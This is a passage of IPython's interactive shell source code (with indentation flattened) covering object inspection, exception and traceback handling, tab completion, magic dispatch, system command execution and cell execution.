oname = oname.lstrip(ESC_MAGIC)
obj = self.find_line_magic(oname)
else:
# search without prefix, so run? will find %run?
obj = self.find_line_magic(oname)
if obj is None:
obj = self.find_cell_magic(oname)
if obj is not None:
found = True
ospace = 'IPython internal'
ismagic = True
isalias = isinstance(obj, Alias)
# Last try: special-case some literals like '', [], {}, etc:
if not found and oname_head in ["''",'""','[]','{}','()']:
obj = eval(oname_head)
found = True
ospace = 'Interactive'
return {
'obj':obj,
'found':found,
'parent':parent,
'ismagic':ismagic,
'isalias':isalias,
'namespace':ospace
}
@staticmethod
def _getattr_property(obj, attrname):
"""Property-aware getattr to use in object finding.
If attrname represents a property, return it unevaluated (in case it has
side effects or raises an error.
"""
if not isinstance(obj, type):
try:
# `getattr(type(obj), attrname)` is not guaranteed to return
# `obj`, but does so for property:
#
# property.__get__(self, None, cls) -> self
#
# The universal alternative is to traverse the mro manually
# searching for attrname in class dicts.
attr = getattr(type(obj), attrname)
except AttributeError:
pass
else:
# This relies on the fact that data descriptors (with both
# __get__ & __set__ magic methods) take precedence over
# instance-level attributes:
#
# class A(object):
# @property
# def foobar(self): return 123
# a = A()
# a.__dict__['foobar'] = 345
# a.foobar # == 123
#
# So, a property may be returned right away.
if isinstance(attr, property):
return attr
# Nothing helped, fall back.
return getattr(obj, attrname)
def _object_find(self, oname, namespaces=None):
"""Find an object and return a struct with info about it."""
return Struct(self._ofind(oname, namespaces))
def _inspect(self, meth, oname, namespaces=None, **kw):
"""Generic interface to the inspector system.
This function is meant to be called by pdef, pdoc & friends.
"""
info = self._object_find(oname, namespaces)
docformat = sphinxify if self.sphinxify_docstring else None
if info.found:
pmethod = getattr(self.inspector, meth)
# TODO: only apply format_screen to the plain/text repr of the mime
# bundle.
formatter = format_screen if info.ismagic else docformat
if meth == 'pdoc':
pmethod(info.obj, oname, formatter)
elif meth == 'pinfo':
pmethod(
info.obj,
oname,
formatter,
info,
enable_html_pager=self.enable_html_pager,
**kw
)
else:
pmethod(info.obj, oname)
else:
print('Object `%s` not found.' % oname)
return 'not found' # so callers can take other action
def object_inspect(self, oname, detail_level=0):
"""Get object info about oname"""
with self.builtin_trap:
info = self._object_find(oname)
if info.found:
return self.inspector.info(info.obj, oname, info=info,
detail_level=detail_level
)
else:
return oinspect.object_info(name=oname, found=False)
def object_inspect_text(self, oname, detail_level=0):
"""Get object info as formatted text"""
return self.object_inspect_mime(oname, detail_level)['text/plain']
def object_inspect_mime(self, oname, detail_level=0):
"""Get object info as a mimebundle of formatted representations.
A mimebundle is a dictionary, keyed by mime-type.
It must always have the key `'text/plain'`.
"""
with self.builtin_trap:
info = self._object_find(oname)
if info.found:
return self.inspector._get_info(info.obj, oname, info=info,
detail_level=detail_level
)
else:
raise KeyError(oname)
#-------------------------------------------------------------------------
# Things related to history management
#-------------------------------------------------------------------------
def init_history(self):
"""Sets up the command history, and starts regular autosaves."""
self.history_manager = HistoryManager(shell=self, parent=self)
self.configurables.append(self.history_manager)
#-------------------------------------------------------------------------
# Things related to exception handling and tracebacks (not debugging)
#-------------------------------------------------------------------------
debugger_cls = Pdb
def set_custom_exc(self, exc_tuple, handler):
"""set_custom_exc(exc_tuple, handler)
Set a custom exception handler, which will be called if any of the
exceptions in exc_tuple occur in the mainloop (specifically, in the
run_code() method).
Parameters
----------
exc_tuple : tuple of exception classes
A *tuple* of exception classes, for which to call the defined
handler. It is very important that you use a tuple, and NOT A
LIST here, because of the way Python's except statement works. If
you only want to trap a single exception, use a singleton tuple::
exc_tuple == (MyCustomException,)
handler : callable
handler must have the following signature::
def my_handler(self, etype, value, tb, tb_offset=None):
...
return structured_traceback
Your handler must return a structured traceback (a list of strings),
or None.
This will be made into an instance method (via types.MethodType)
of IPython itself, and it will be called if any of the exceptions
listed in the exc_tuple are caught. If the handler is None, an
internal basic one is used, which just prints basic info.
To protect IPython from crashes, if your handler ever raises an
exception or returns an invalid result, it will be immediately
disabled.
WARNING: by putting in your own exception handler into IPython's main
execution loop, you run a very good chance of nasty crashes. This
facility should only be used if you really know what you are doing."""
if not isinstance(exc_tuple, tuple):
raise TypeError("The custom exceptions must be given as a tuple.")
def validate_stb(stb):
"""validate structured traceback return type
return type of CustomTB *should* be a list of strings, but allow
single strings or None, which are harmless.
This function will *always* return a list of strings,
and will raise a TypeError if stb is inappropriate.
"""
msg = "CustomTB must return list of strings, not %r" % stb
if stb is None:
return []
elif isinstance(stb, str):
return [stb]
elif not isinstance(stb, list):
raise TypeError(msg)
# it's a list
for line in stb:
# check every element
if not isinstance(line, str):
raise TypeError(msg)
return stb
if handler is None:
wrapped = dummy_handler
else:
def wrapped(self,etype,value,tb,tb_offset=None):
"""wrap CustomTB handler, to protect IPython from user code
This makes it harder (but not impossible) for custom exception
handlers to crash IPython.
"""
try:
stb = handler(self,etype,value,tb,tb_offset=tb_offset)
return validate_stb(stb)
except:
# clear custom handler immediately
self.set_custom_exc((), None)
print("Custom TB Handler failed, unregistering", file=sys.stderr)
# show the exception in handler first
stb = self.InteractiveTB.structured_traceback(*sys.exc_info())
print(self.InteractiveTB.stb2text(stb))
print("The original exception:")
stb = self.InteractiveTB.structured_traceback(
(etype,value,tb), tb_offset=tb_offset
)
return stb
self.CustomTB = types.MethodType(wrapped,self)
self.custom_exceptions = exc_tuple
def excepthook(self, etype, value, tb):
"""One more defense for GUI apps that call sys.excepthook.
GUI frameworks like wxPython trap exceptions and call
sys.excepthook themselves. I guess this is a feature that
enables them to keep running after exceptions that would
otherwise kill their mainloop. This is a bother for IPython
which excepts to catch all of the program exceptions with a try:
except: statement.
Normally, IPython sets sys.excepthook to a CrashHandler instance, so if
any app directly invokes sys.excepthook, it will look to the user like
IPython crashed. In order to work around this, we can disable the
CrashHandler and replace it with this excepthook instead, which prints a
regular traceback using our InteractiveTB. In this fashion, apps which
call sys.excepthook will generate a regular-looking exception from
IPython, and the CrashHandler will only be triggered by real IPython
crashes.
This hook should be used sparingly, only in places which are not likely
to be true IPython errors.
"""
self.showtraceback((etype, value, tb), tb_offset=0)
def _get_exc_info(self, exc_tuple=None):
"""get exc_info from a given tuple, sys.exc_info() or sys.last_type etc.
Ensures sys.last_type,value,traceback hold the exc_info we found,
from whichever source.
raises ValueError if none of these contain any information
"""
if exc_tuple is None:
etype, value, tb = sys.exc_info()
else:
etype, value, tb = exc_tuple
if etype is None:
if hasattr(sys, 'last_type'):
etype, value, tb = sys.last_type, sys.last_value, \
sys.last_traceback
if etype is None:
raise ValueError("No exception to find")
# Now store the exception info in sys.last_type etc.
# WARNING: these variables are somewhat deprecated and not
# necessarily safe to use in a threaded environment, but tools
# like pdb depend on their existence, so let's set them. If we
# find problems in the field, we'll need to revisit their use.
sys.last_type = etype
sys.last_value = value
sys.last_traceback = tb
return etype, value, tb
def show_usage_error(self, exc):
"""Show a short message for UsageErrors
These are special exceptions that shouldn't show a traceback.
"""
print("UsageError: %s" % exc, file=sys.stderr)
def get_exception_only(self, exc_tuple=None):
"""
Return as a string (ending with a newline) the exception that
just occurred, without any traceback.
"""
etype, value, tb = self._get_exc_info(exc_tuple)
msg = traceback.format_exception_only(etype, value)
return ''.join(msg)
def showtraceback(self, exc_tuple=None, filename=None, tb_offset=None,
exception_only=False, running_compiled_code=False):
"""Display the exception that just occurred.
If nothing is known about the exception, this is the method which
should be used throughout the code for presenting user tracebacks,
rather than directly invoking the InteractiveTB object.
A specific showsyntaxerror() also exists, but this method can take
care of calling it if needed, so unless you are explicitly catching a
SyntaxError exception, don't try to analyze the stack manually and
simply call this method."""
try:
try:
etype, value, tb = self._get_exc_info(exc_tuple)
except ValueError:
print('No traceback available to show.', file=sys.stderr)
return
if issubclass(etype, SyntaxError):
# Though this won't be called by syntax errors in the input
# line, there may be SyntaxError cases with imported code.
self.showsyntaxerror(filename, running_compiled_code)
elif etype is UsageError:
self.show_usage_error(value)
else:
if exception_only:
stb = ['An exception has occurred, use %tb to see '
'the full traceback.\n']
stb.extend(self.InteractiveTB.get_exception_only(etype,
value))
else:
try:
# Exception classes can customise their traceback - we
# use this in IPython.parallel for exceptions occurring
# in the engines. This should return a list of strings.
stb = value._render_traceback_()
except Exception:
stb = self.InteractiveTB.structured_traceback(etype,
value, tb, tb_offset=tb_offset)
self._showtraceback(etype, value, stb)
if self.call_pdb:
# drop into debugger
self.debugger(force=True)
return
# Actually show the traceback
self._showtraceback(etype, value, stb)
except KeyboardInterrupt:
print('\n' + self.get_exception_only(), file=sys.stderr)
def _showtraceback(self, etype, evalue, stb):
"""Actually show a traceback.
Subclasses may override this method to put the traceback on a different
place, like a side channel.
"""
print(self.InteractiveTB.stb2text(stb))
def showsyntaxerror(self, filename=None, running_compiled_code=False):
"""Display the syntax error that just occurred.
This doesn't display a stack trace because there isn't one.
If a filename is given, it is stuffed in the exception instead
of what was there before (because Python's parser always uses
"<string>" when reading from a string).
If the syntax error occurred when running a compiled code (i.e. running_compile_code=True),
longer stack trace will be displayed.
"""
etype, value, last_traceback = self._get_exc_info()
if filename and issubclass(etype, SyntaxError):
try:
value.filename = filename
except:
# Not the format we expect; leave it alone
pass
# If the error occurred when executing compiled code, we should provide full stacktrace.
elist = traceback.extract_tb(last_traceback) if running_compiled_code else []
stb = self.SyntaxTB.structured_traceback(etype, value, elist)
self._showtraceback(etype, value, stb)
# This is overridden in TerminalInteractiveShell to show a message about
# the %paste magic.
def showindentationerror(self):
"""Called by _run_cell when there's an IndentationError in code entered
at the prompt.
This is overridden in TerminalInteractiveShell to show a message about
the %paste magic."""
self.showsyntaxerror()
#-------------------------------------------------------------------------
# Things related to readline
#-------------------------------------------------------------------------
def init_readline(self):
"""DEPRECATED
Moved to terminal subclass, here only to simplify the init logic."""
# Set a number of methods that depend on readline to be no-op
warnings.warn('`init_readline` is no-op since IPython 5.0 and is Deprecated',
DeprecationWarning, stacklevel=2)
self.set_custom_completer = no_op
@skip_doctest
def set_next_input(self, s, replace=False):
""" Sets the 'default' input string for the next command line.
Example::
In [1]: _ip.set_next_input("Hello Word")
In [2]: Hello Word_ # cursor is here
"""
self.rl_next_input = s
def _indent_current_str(self):
"""return the current level of indentation as a string"""
return self.input_splitter.get_indent_spaces() * ' '
#-------------------------------------------------------------------------
# Things related to text completion
#-------------------------------------------------------------------------
def init_completer(self):
"""Initialize the completion machinery.
This creates completion machinery that can be used by client code,
either interactively in-process (typically triggered by the readline
library), programmatically (such as in test suites) or out-of-process
(typically over the network by remote frontends).
"""
from IPython.core.completer import IPCompleter
from IPython.core.completerlib import (module_completer,
magic_run_completer, cd_completer, reset_completer)
self.Completer = IPCompleter(shell=self,
namespace=self.user_ns,
global_namespace=self.user_global_ns,
parent=self,
)
self.configurables.append(self.Completer)
# Add custom completers to the basic ones built into IPCompleter
sdisp = self.strdispatchers.get('complete_command', StrDispatch())
self.strdispatchers['complete_command'] = sdisp
self.Completer.custom_completers = sdisp
self.set_hook('complete_command', module_completer, str_key = 'import')
self.set_hook('complete_command', module_completer, str_key = 'from')
self.set_hook('complete_command', module_completer, str_key = '%aimport')
self.set_hook('complete_command', magic_run_completer, str_key = '%run')
self.set_hook('complete_command', cd_completer, str_key = '%cd')
self.set_hook('complete_command', reset_completer, str_key = '%reset')
@skip_doctest
def complete(self, text, line=None, cursor_pos=None):
"""Return the completed text and a list of completions.
Parameters
----------
text : string
A string of text to be completed on. It can be given as empty and
instead a line/position pair are given. In this case, the
completer itself will split the line like readline does.
line : string, optional
The complete line that text is part of.
cursor_pos : int, optional
The position of the cursor on the input line.
Returns
-------
text : string
The actual text that was completed.
matches : list
A sorted list with all possible completions.
The optional arguments allow the completion to take more context into
account, and are part of the low-level completion API.
This is a wrapper around the completion mechanism, similar to what
readline does at the command line when the TAB key is hit. By
exposing it as a method, it can be used by other non-readline
environments (such as GUIs) for text completion.
Simple usage example:
In [1]: x = 'hello'
In [2]: _ip.complete('x.l')
Out[2]: ('x.l', ['x.ljust', 'x.lower', 'x.lstrip'])
"""
# Inject names into __builtin__ so we can complete on the added names.
with self.builtin_trap:
return self.Completer.complete(text, line, cursor_pos)
def set_custom_completer(self, completer, pos=0) -> None:
"""Adds a new custom completer function.
The position argument (defaults to 0) is the index in the completers
list where you want the completer to be inserted.
`completer` should have the following signature::
def completion(self: Completer, text: string) -> List[str]:
raise NotImplementedError
It will be bound to the current Completer instance and pass some text
and return a list with current completions to suggest to the user.
"""
newcomp = types.MethodType(completer, self.Completer)
self.Completer.custom_matchers.insert(pos,newcomp)
def set_completer_frame(self, frame=None):
"""Set the frame of the completer."""
if frame:
self.Completer.namespace = frame.f_locals
self.Completer.global_namespace = frame.f_globals
else:
self.Completer.namespace = self.user_ns
self.Completer.global_namespace = self.user_global_ns
#-------------------------------------------------------------------------
# Things related to magics
#-------------------------------------------------------------------------
# Defined here so that it's included in the documentation
@functools.wraps(magic.MagicsManager.register_function)
def run_line_magic(self, magic_name, line, _stack_depth=1):
"""Execute the given line magic.
Parameters
----------
magic_name : str
Name of the desired magic function, without '%' prefix.
line : str
The rest of the input line as a single string.
_stack_depth : int
If run_line_magic() is called from magic() then _stack_depth=2.
This is added to ensure backward compatibility for use of 'get_ipython().magic()'
"""
fn = self.find_line_magic(magic_name)
if fn is None:
cm = self.find_cell_magic(magic_name)
etpl = "Line magic function `%%%s` not found%s."
extra = '' if cm is None else (' (But cell magic `%%%%%s` exists, '
'did you mean that instead?)' % magic_name )
raise UsageError(etpl % (magic_name, extra))
else:
# Note: this is the distance in the stack to the user's frame.
# This will need to be updated if the internal calling logic gets
# refactored, or else we'll be expanding the wrong variables.
# Determine stack_depth depending on where run_line_magic() has been called
stack_depth = _stack_depth
if getattr(fn, magic.MAGIC_NO_VAR_EXPAND_ATTR, False):
# magic has opted out of var_expand
magic_arg_s = line
else:
magic_arg_s = self.var_expand(line, stack_depth)
# Put magic args in a list so we can call with f(*a) syntax
args = [magic_arg_s]
kwargs = {}
# Grab local namespace if we need it:
if getattr(fn, "needs_local_scope", False):
kwargs['local_ns'] = self.get_local_scope(stack_depth)
with self.builtin_trap:
result = fn(*args, **kwargs)
return result
def get_local_scope(self, stack_depth):
"""Get local scope at given stack depth.
Parameters
----------
stack_depth : int
Depth relative to calling frame
"""
return sys._getframe(stack_depth + 1).f_locals
def run_cell_magic(self, magic_name, line, cell):
"""Execute the given cell magic.
Parameters
----------
magic_name : str
Name of the desired magic function, without '%' prefix.
line : str
The rest of the first input line as a single string.
cell : str
The body of the cell as a (possibly multiline) string.
"""
fn = self.find_cell_magic(magic_name)
if fn is None:
lm = self.find_line_magic(magic_name)
etpl = "Cell magic `%%{0}` not found{1}."
extra = '' if lm is None else (' (But line magic `%{0}` exists, '
'did you mean that instead?)'.format(magic_name))
raise UsageError(etpl.format(magic_name, extra))
elif cell == '':
message = '%%{0} is a cell magic, but the cell body is empty.'.format(magic_name)
if self.find_line_magic(magic_name) is not None:
message += ' Did you mean the line magic %{0} (single %)?'.format(magic_name)
raise UsageError(message)
else:
# Note: this is the distance in the stack to the user's frame.
# This will need to be updated if the internal calling logic gets
# refactored, or else we'll be expanding the wrong variables.
stack_depth = 2
if getattr(fn, magic.MAGIC_NO_VAR_EXPAND_ATTR, False):
# magic has opted out of var_expand
magic_arg_s = line
else:
magic_arg_s = self.var_expand(line, stack_depth)
kwargs = {}
if getattr(fn, "needs_local_scope", False):
kwargs['local_ns'] = self.user_ns
with self.builtin_trap:
args = (magic_arg_s, cell)
result = fn(*args, **kwargs)
return result
def find_line_magic(self, magic_name):
"""Find and return a line magic by name.
Returns None if the magic isn't found."""
return self.magics_manager.magics['line'].get(magic_name)
def find_cell_magic(self, magic_name):
"""Find and return a cell magic by name.
Returns None if the magic isn't found."""
return self.magics_manager.magics['cell'].get(magic_name)
def find_magic(self, magic_name, magic_kind='line'):
"""Find and return a magic of the given type by name.
Returns None if the magic isn't found."""
return self.magics_manager.magics[magic_kind].get(magic_name)
def magic(self, arg_s):
"""DEPRECATED. Use run_line_magic() instead.
Call a magic function by name.
Input: a string containing the name of the magic function to call and
any additional arguments to be passed to the magic.
magic('name -opt foo bar') is equivalent to typing at the ipython
prompt:
In[1]: %name -opt foo bar
To call a magic without arguments, simply use magic('name').
This provides a proper Python function to call IPython's magics in any
valid Python code you can type at the interpreter, including loops and
compound statements.
"""
# TODO: should we issue a loud deprecation warning here?
magic_name, _, magic_arg_s = arg_s.partition(' ')
magic_name = magic_name.lstrip(prefilter.ESC_MAGIC)
return self.run_line_magic(magic_name, magic_arg_s, _stack_depth=2)
#-------------------------------------------------------------------------
# Things related to macros
#-------------------------------------------------------------------------
def define_macro(self, name, themacro):
"""Define a new macro
Parameters
----------
name : str
The name of the macro.
themacro : str or Macro
The action to do upon invoking the macro. If a string, a new
Macro object is created by passing the string to it.
"""
from IPython.core import macro
if isinstance(themacro, str):
themacro = macro.Macro(themacro)
if not isinstance(themacro, macro.Macro):
raise ValueError('A macro must be a string or a Macro instance.')
self.user_ns[name] = themacro
#-------------------------------------------------------------------------
# Things related to the running of system commands
#-------------------------------------------------------------------------
def system_piped(self, cmd):
"""Call the given cmd in a subprocess, piping stdout/err
Parameters
----------
cmd : str
Command to execute (can not end in '&', as background processes are
not supported. Should not be a command that expects input
other than simple text.
"""
if cmd.rstrip().endswith('&'):
# this is *far* from a rigorous test
# We do not support backgrounding processes because we either use
# pexpect or pipes to read from. Users can always just call
# os.system() or use ip.system=ip.system_raw
# if they really want a background process.
raise OSError("Background processes not supported.")
# we explicitly do NOT return the subprocess status code, because
# a non-None value would trigger :func:`sys.displayhook` calls.
# Instead, we store the exit_code in user_ns.
self.user_ns['_exit_code'] = system(self.var_expand(cmd, depth=1))
def system_raw(self, cmd):
"""Call the given cmd in a subprocess using os.system on Windows or
subprocess.call using the system shell on other platforms.
Parameters
----------
cmd : str
Command to execute.
"""
cmd = self.var_expand(cmd, depth=1)
# protect os.system from UNC paths on Windows, which it can't handle:
if sys.platform == 'win32':
from IPython.utils._process_win32 import AvoidUNCPath
with AvoidUNCPath() as path:
if path is not None:
cmd = '"pushd %s &&"%s' % (path, cmd)
try:
ec = os.system(cmd)
except KeyboardInterrupt:
print('\n' + self.get_exception_only(), file=sys.stderr)
ec = -2
else:
# For posix the result of the subprocess.call() below is an exit
# code, which by convention is zero for success, positive for
# program failure. Exit codes above 128 are reserved for signals,
# and the formula for converting a signal to an exit code is usually
# signal_number+128. To more easily differentiate between exit
# codes and signals, ipython uses negative numbers. For instance
# since control-c is signal 2 but exit code 130, ipython's
# _exit_code variable will read -2. Note that some shells like
# csh and fish don't follow sh/bash conventions for exit codes.
executable = os.environ.get('SHELL', None)
try:
# Use env shell instead of default /bin/sh
ec = subprocess.call(cmd, shell=True, executable=executable)
except KeyboardInterrupt:
# intercept control-C; a long traceback is not useful here
print('\n' + self.get_exception_only(), file=sys.stderr)
ec = 130
if ec > 128:
ec = -(ec - 128)
# We explicitly do NOT return the subprocess status code, because
# a non-None value would trigger :func:`sys.displayhook` calls.
# Instead, we store the exit_code in user_ns. Note the semantics
# of _exit_code: for control-c, _exit_code == -signal.SIGNIT,
# but raising SystemExit(_exit_code) will give status 254!
self.user_ns['_exit_code'] = ec
# use piped system by default, because it is better behaved
system = system_piped
def getoutput(self, cmd, split=True, depth=0):
"""Get output (possibly including stderr) from a subprocess.
Parameters
----------
cmd : str
Command to execute (can not end in '&', as background processes are
not supported.
split : bool, optional
If True, split the output into an IPython SList. Otherwise, an
IPython LSString is returned. These are objects similar to normal
lists and strings, with a few convenience attributes for easier
manipulation of line-based output. You can use '?' on them for
details.
depth : int, optional
How many frames above the caller are the local variables which should
be expanded in the command string? The default (0) assumes that the
expansion variables are in the stack frame calling this function.
"""
if cmd.rstrip().endswith('&'):
# this is *far* from a rigorous test
raise OSError("Background processes not supported.")
out = getoutput(self.var_expand(cmd, depth=depth+1))
if split:
out = SList(out.splitlines())
else:
out = LSString(out)
return out
#-------------------------------------------------------------------------
# Things related to aliases
#-------------------------------------------------------------------------
#-------------------------------------------------------------------------
# Things related to extensions
#-------------------------------------------------------------------------
#-------------------------------------------------------------------------
# Things related to payloads
#-------------------------------------------------------------------------
#-------------------------------------------------------------------------
# Things related to the prefilter
#-------------------------------------------------------------------------
def auto_rewrite_input(self, cmd):
"""Print to the screen the rewritten form of the user's command.
This shows visual feedback by rewriting input lines that cause
automatic calling to kick in, like::
/f x
into::
------> f(x)
after the user's input prompt. This helps the user understand that the
input line was transformed automatically by IPython.
"""
if not self.show_rewritten_input:
return
# This is overridden in TerminalInteractiveShell to use fancy prompts
print("------> " + cmd)
#-------------------------------------------------------------------------
# Things related to extracting values/expressions from kernel and user_ns
#-------------------------------------------------------------------------
def _user_obj_error(self):
"""return simple exception dict
for use in user_expressions
"""
etype, evalue, tb = self._get_exc_info()
stb = self.InteractiveTB.get_exception_only(etype, evalue)
exc_info = {
u'status' : 'error',
u'traceback' : stb,
u'ename' : etype.__name__,
u'evalue' : py3compat.safe_unicode(evalue),
}
return exc_info
def _format_user_obj(self, obj):
"""format a user object to display dict
for use in user_expressions
"""
data, md = self.display_formatter.format(obj)
value = {
'status' : 'ok',
'data' : data,
'metadata' : md,
}
return value
def user_expressions(self, expressions):
"""Evaluate a dict of expressions in the user's namespace.
Parameters
----------
expressions : dict
A dict with string keys and string values. The expression values
should be valid Python expressions, each of which will be evaluated
in the user namespace.
Returns
-------
A dict, keyed like the input expressions dict, with the rich mime-typed
display_data of each value.
"""
out = {}
user_ns = self.user_ns
global_ns = self.user_global_ns
for key, expr in expressions.items():
try:
value = self._format_user_obj(eval(expr, global_ns, user_ns))
except:
value = self._user_obj_error()
out[key] = value
return out
#-------------------------------------------------------------------------
# Things related to the running of code
#-------------------------------------------------------------------------
def ex(self, cmd):
"""Execute a normal python statement in user namespace."""
with self.builtin_trap:
exec(cmd, self.user_global_ns, self.user_ns)
def ev(self, expr):
"""Evaluate python expression expr in user namespace.
Returns the result of evaluation
"""
with self.builtin_trap:
return eval(expr, self.user_global_ns, self.user_ns)
def safe_execfile(self, fname, *where, exit_ignore=False, raise_exceptions=False, shell_futures=False):
"""A safe version of the builtin execfile().
This version will never throw an exception, but instead print
helpful error messages to the screen. This only works on pure
Python files with the .py extension.
Parameters
----------
fname : string
The name of the file to be executed.
where : tuple
One or two namespaces, passed to execfile() as (globals,locals).
If only one is given, it is passed as both.
exit_ignore : bool (False)
If True, then silence SystemExit for non-zero status (it is always
silenced for zero status, as it is so common).
raise_exceptions : bool (False)
If True raise exceptions everywhere. Meant for testing.
shell_futures : bool (False)
If True, the code will share future statements with the interactive
shell. It will both be affected by previous __future__ imports, and
any __future__ imports in the code will affect the shell. If False,
__future__ imports are not shared in either direction.
"""
fname = os.path.abspath(os.path.expanduser(fname))
# Make sure we can open the file
try:
with open(fname):
pass
except:
warn('Could not open file <%s> for safe execution.' % fname)
return
# Find things also in current directory. This is needed to mimic the
# behavior of running a script from the system command line, where
# Python inserts the script's directory into sys.path
dname = os.path.dirname(fname)
with prepended_to_syspath(dname), self.builtin_trap:
try:
glob, loc = (where + (None, ))[:2]
py3compat.execfile(
fname, glob, loc,
self.compile if shell_futures else None)
except SystemExit as status:
# If the call was made with 0 or None exit status (sys.exit(0)
# or sys.exit() ), don't bother showing a traceback, as both of
# these are considered normal by the OS:
# > python -c'import sys;sys.exit(0)'; echo $?
# 0
# > python -c'import sys;sys.exit()'; echo $?
# 0
# For other exit status, we show the exception unless
# explicitly silenced, but only in short form.
if status.code:
if raise_exceptions:
raise
if not exit_ignore:
self.showtraceback(exception_only=True)
except:
if raise_exceptions:
raise
# tb offset is 2 because we wrap execfile
self.showtraceback(tb_offset=2)
def safe_execfile_ipy(self, fname, shell_futures=False, raise_exceptions=False):
"""Like safe_execfile, but for .ipy or .ipynb files with IPython syntax.
Parameters
----------
fname : str
The name of the file to execute. The filename must have a
.ipy or .ipynb extension.
shell_futures : bool (False)
If True, the code will share future statements with the interactive
shell. It will both be affected by previous __future__ imports, and
any __future__ imports in the code will affect the shell. If False,
__future__ imports are not shared in either direction.
raise_exceptions : bool (False)
If True raise exceptions everywhere. Meant for testing.
"""
fname = os.path.abspath(os.path.expanduser(fname))
# Make sure we can open the file
try:
with open(fname):
pass
except:
warn('Could not open file <%s> for safe execution.' % fname)
return
# Find things also in current directory. This is needed to mimic the
# behavior of running a script from the system command line, where
# Python inserts the script's directory into sys.path
dname = os.path.dirname(fname)
def get_cells():
"""generator for sequence of code blocks to run"""
if fname.endswith('.ipynb'):
from nbformat import read
nb = read(fname, as_version=4)
if not nb.cells:
return
for cell in nb.cells:
if cell.cell_type == 'code':
yield cell.source
else:
with open(fname) as f:
yield f.read()
with prepended_to_syspath(dname):
try:
for cell in get_cells():
result = self.run_cell(cell, silent=True, shell_futures=shell_futures)
if raise_exceptions:
result.raise_error()
elif not result.success:
break
except:
if raise_exceptions:
raise
self.showtraceback()
warn('Unknown failure executing file: <%s>' % fname)
def safe_run_module(self, mod_name, where):
"""A safe version of runpy.run_module().
This version will never throw an exception, but instead print
helpful error messages to the screen.
`SystemExit` exceptions with status code 0 or None are ignored.
Parameters
----------
mod_name : string
The name of the module to be executed.
where : dict
The globals namespace.
"""
try:
try:
where.update(
runpy.run_module(str(mod_name), run_name="__main__",
alter_sys=True)
)
except SystemExit as status:
if status.code:
raise
except:
self.showtraceback()
warn('Unknown failure executing module: <%s>' % mod_name)
def run_cell(self, raw_cell, store_history=False, silent=False, shell_futures=True):
"""Run a complete IPython cell.
Parameters
----------
raw_cell : str
The code (including IPython code such as %magic functions) to run.
store_history : bool
If True, the raw and translated cell will be stored in IPython's
history. For user code calling back into IPython's machinery, this
should be set to False.
silent : bool
If True, avoid side-effects, such as implicit displayhooks and
and logging. silent=True forces store_history=False.
shell_futures : bool
If True, the code will share future statements with the interactive
shell. It will both be affected by previous __future__ imports, and
any __future__ imports in the code will affect the shell. If False,
__future__ imports are not shared in either direction.
Returns
-------
result : :class:`ExecutionResult`
"""
result = None
try:
result = self._run_cell(
raw_cell, store_history, silent, shell_futures)
finally:
self.events.trigger('post_execute')
if not silent:
self.events.trigger('post_run_cell', result)
return result
def _run_cell(self, raw_cell:str, store_history:bool, silent:bool, shell_futures:bool):
"""Internal method to run a complete IPython cell."""
# we need to avoid calling self.transform_cell multiple time on the same thing
# so we need to store some results:
preprocessing_exc_tuple = None
try:
transformed_cell = self.transform_cell(raw_cell)
except Exception:
transformed_cell = raw_cell
preprocessing_exc_tuple = sys.exc_info()
assert transformed_cell is not None
coro = self.run_cell_async(
raw_cell,
store_history=store_history,
silent=silent,
shell_futures=shell_futures,
transformed_cell=transformed_cell,
preprocessing_exc_tuple=preprocessing_exc_tuple,
)
# run_cell_async is async, but may not actually need an eventloop.
# when this is the case, we want to run it using the pseudo_sync_runner
# so that code can invoke eventloops (for example via the %run , and
# `%paste` magic.
if self.trio_runner:
runner = self.trio_runner
elif self.should_run_async(
raw_cell,
transformed_cell=transformed_cell,
preprocessing_exc_tuple=preprocessing_exc_tuple,
):
runner = self.loop_runner
else:
runner = _pseudo_sync_runner
try:
return runner(coro)
except BaseException as e:
info = ExecutionInfo(raw_cell, store_history, silent, shell_futures)
result = ExecutionResult(info)
result.error_in_exec = e
self.showtraceback(running_compiled_code=True)
return result
return
def should_run_async(
self, raw_cell: str, *, transformed_cell=None, preprocessing_exc_tuple=None
) -> bool:
"""Return whether a cell should be run asynchronously via a coroutine runner
Parameters
----------
raw_cell: str
The code to be executed
Returns
-------
result: bool
Whether the code needs to be run with a coroutine runner or not
.. versionadded: 7.0
"""
if not self.autoawait:
return False
if preprocessing_exc_tuple is not None:
return False
assert preprocessing_exc_tuple is None
if transformed_cell is None:
warnings.warn(
"`should_run_async` will not call `transform_cell`"
" automatically in the future. Please pass the result to"
" `transformed_cell` argument and any exception that happen"
" during the"
"transform in `preprocessing_exc_tuple` in"
" IPython 7.17 and above.",
DeprecationWarning,
stacklevel=2,
)
try:
cell = self.transform_cell(raw_cell)
except Exception:
# any exception during transform will be raised
# prior to execution
return False
else:
cell = transformed_cell
return _should_be_async(cell)
async def run_cell_async(
self,
raw_cell: str,
store_history=False,
silent=False,
shell_futures=True,
*,
transformed_cell: Optional[str] = None,
preprocessing_exc_tuple: Optional[Any] = None
) -> ExecutionResult:
"""Run a complete IPython cell asynchronously.
Parameters
----------
raw_cell : str
The code (including IPython code such as %magic functions) to run.
store_history : bool
If True, the raw and translated cell will be stored in IPython's
history. For user code calling back into IPython's machinery, this
should be set to False.
silent : bool
If True, avoid side-effects, such as implicit displayhooks and
and logging. silent=True forces store_history=False.
shell_futures : bool
If True, the code will share future statements with the interactive
shell. It will both be affected by previous __future__ imports, and
any __future__ imports in the code will affect the shell. If False,
__future__ imports are not shared in either direction.
transformed_cell: str
cell that was passed through transformers
preprocessing_exc_tuple:
trace if the transformation failed.
Returns
-------
result : :class:`ExecutionResult`
.. versionadded: 7.0
"""
info = ExecutionInfo(
raw_cell, store_history, silent, shell_futures)
result = ExecutionResult(info)
if (not raw_cell) or raw_cell.isspace():
self.last_execution_succeeded = True
self.last_execution_result = result
return result
if silent:
store_history = False
if store_history:
result.execution_count = self.execution_count
self.events.trigger('pre_execute')
if not silent:
self.events.trigger('pre_run_cell', info)
if transformed_cell is None:
warnings.warn(
"`run_cell_async` will not call `transform_cell`"
" automatically in the future. Please pass the result to"
" `transformed_cell` argument and any exception that happen"
" during the"
"transform in `preprocessing_exc_tuple` in"
" IPython 7.17 and above.",
DeprecationWarning,
stacklevel=2,
)
# If any of our input transformation (input_transformer_manager or
# prefilter_manager) raises an exception, we store it in this variable
# so that we can display the error after logging the input and storing
# it in the history.
try:
cell = self.transform_cell(raw_cell)
except Exception:
preprocessing_exc_tuple = sys.exc_info()
cell = raw_cell # cell has to exist so it can be stored/logged
else:
preprocessing_exc_tuple = None
